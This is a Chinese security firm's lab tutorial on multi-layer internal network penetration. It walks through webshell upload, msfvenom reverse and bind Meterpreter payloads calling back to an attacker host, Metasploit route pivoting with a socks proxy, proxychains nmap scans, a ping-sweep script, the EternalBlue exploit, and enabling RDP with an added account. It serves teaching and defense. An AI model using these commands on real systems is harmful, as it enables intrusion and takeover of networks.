安全技术|一个实验了解多层内网渗透

百家 作者:锦行科技 2020-03-03 07:32:54
点击上方蓝色,关注我们

近年来,攻击者潜伏在企业内网进行攻击的安全事件屡见不鲜,攻击者在经常会企业的内网进行横向渗透,令防守方防不胜防。因此,我们应该严格控制好网络区域之间的访问规则,加大攻击横向渗透的阻力。本文由锦行科技的安全研究团队提供,旨在通过实验演示进一步了解攻击者是如何在多层内网进行的渗透。


1
实验简介

网络拓扑图

渗透机:win10+kali

第一层靶机 (外网web服务器):  Linux

第二场靶机 (内网web服务器):  Linux

第三层靶机 (内网办公机) : win7

用三层网络来模拟内外网环境,主要了解MSF、内网转发等


2
环境搭建
第一层网络

把渗透机kali和win10网卡1设置选择VMnet1:


靶机Linux网卡1设置选择VMnet1,添加网卡2 设置选择VMnet2:

第二层网络

将第二台靶机Linux网卡1设置选择VMnet2,添加网卡2 设置选择VMnet3:

第三层网络

将靶机win7网卡1设置选择VMnet3:

再配置好各台机器对应IP即可。

最后

在第一台Linux和第二台Linux上搭建一个php上传页面,设为存在文件上传漏洞的web页面,以便后续的拿shell进行内网渗透


第一台Linux


第二台Linux


3
实验过程


第一层靶机

win10访问http://192.168.85.131/直接上传一句话木马



蚁剑连接


*进一步做内网渗透,上传msf后门*


打开kali msfconsole 输入

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.85.128 LPORT=4444 -f elf > mshell.elf

生成一个名为mshell.elf的msf后门文件

蚁剑把后门文件上传到Linux靶机

返回msf 开启监听

  • use exploit/multi/handler      使用监听模块

  • set payload linux/x64/meterpreter/reverse_tcp    使用和木马相同的payload

  • set lhost 192.168.85.128   kaili ip

  • set lport 4444        木马的端口

  • run             执行


蚁剑打开虚拟终端cd到后门文件的目录下,执行后门文件,输入

  • chmod 777 mshell.elf      加执行权限

  • ./mshell.elf      执行文件

Kail接受到MSF会话

输入ifconfig,发现第二层172.10.10.0/24网段

添加路由

  • background     将会话转到后台

  • route add 172.10.10.0/24 1 

          加 172.10.10.0/24网段 使用session1

  • route print    查看路由表

使用MSF建立socks代理

use auxiliary/server/socks4a

set srvhost 192.168.85.128

set srvport 10080

run

配置socks4代理的相关客户端Proxychains

在配置文件/etc/proxychains.conf中添加:

socks4 192.168.85.128 10080

vi /etc/proxychains.conf

添加socks4 192.168.85.128 10080

这样利用proxychains启动的应用都可以带sock4代理,proxychains 为kali自带的,非MSF里的。



*建立好代理后渗透机可以通过这台Linux当跳板机进入第二层网络*

第二层网络

*nmap探测存在web服务的主机*

用proxychans启动nmap对第二层网段进行80端口扫描,执行proxychains nmap -sT -Pn -p 80 172.10.10.0/24

扫描发现55和56存在web服务,172.10.10.56即为第二层网络的ip


由于proxychains无法代理icmp的数据包,所以必须添加-sT -Pn参数,即不检测主机是否存活,直接进行端口tcp扫描。


*脚本探测存活主机*

在本地创建一个名为ping.sh的脚本,脚本内容如下:

  • #!/bin/bash

  • ip="172.10.10."

  • echo "ping log:" > ./ping.txt

  • for i in {1..254}

  • do

  •    ping -c 1 -w 1 -W 1 $ip$i | grep -q "ttl=" && echo "$ip$i [yes]" >> ./ping.txt || echo "$ip$i [no]" >> ./ping.txt &

  • done

  • echo "wait 5s...."

  • sleep 5

  • cat ./ping.txt

  • cat ./ping.txt | wc -l

Kali进入session1会话,然后upload命令上传刚刚创建的脚本到靶机upload /root/ping.sh /var/www/hrml/upload

进入shell执行

python -c 'import pty;pty.spawn("/bin/bash")'  

创建一个完全交互式shell,后

Chmod 777 ping.sh

./ping.sh

可以看到172.10.10.0/24网段存活56.57两台


*知道存活主机ip后就可以继续进入第二层内网主机*

渗透机浏览器配置sock4a代理

通过代理可以访问第二层linux靶机http://172.10.10.56同样上传一句话php1.php

蚁剑加代理连接

连接 http://172.10.10.56/upload/php1.php


*进一步做内网渗透,继续上msf后门*


*制作MSF后门*

返回kali msf 输入

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4455 -f elf > mshell1.elf

生成 mshell1.elf后门文件

因为在内网跨网段时无法反向代理连接到渗透的机器,所以这里使用linux/x64/meterpreter/bind_tcp 这个payload进行正向代理连接。

蚁剑上传后门

Kali开启监听

蚁剑打开虚拟终端执行后门文件

返回会话

输入ifconfig 发现第三层网络的网段10.10.10.0/24





第三层网络

添加路由

background

route add 10.10.10.0/24 2

route print


进入session 2 上传 脚本 探测存活主机

注意把脚本的ip段修改成该网段再上传

探测到第三层网段的存活ip :10.10.10.101

proxychans 启动nmap对10.10.10.101的1-500端口扫描,执行

proxychains nmap -sT -Pn -p 1-500 10.10.10.101

发现445端口开启

尝试使用ms17-010

use windows/smb/ms17_010_eternalblue

set rhost 10.10.10.101

set payload windows/x64/meterpreter/bind_tcp

set lport 4466

Run ,存在445漏洞

执行成功,返回会话

开启3389远程桌面

  • run post/windows/manage/enable_rdp     开启远程桌面

  • run post/windows/manage/enable_rdp USERNAME=zzy PASSWORD=123qwe!@#   加远程用户

将3389端口转回kali本地5555端口

portfwd add -l 5555 -p 3389 -r 10.10.10.101

Win10远程桌面连接

登陆成功



END
锦行,
致力于成为最值得信赖的网络安全企业

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接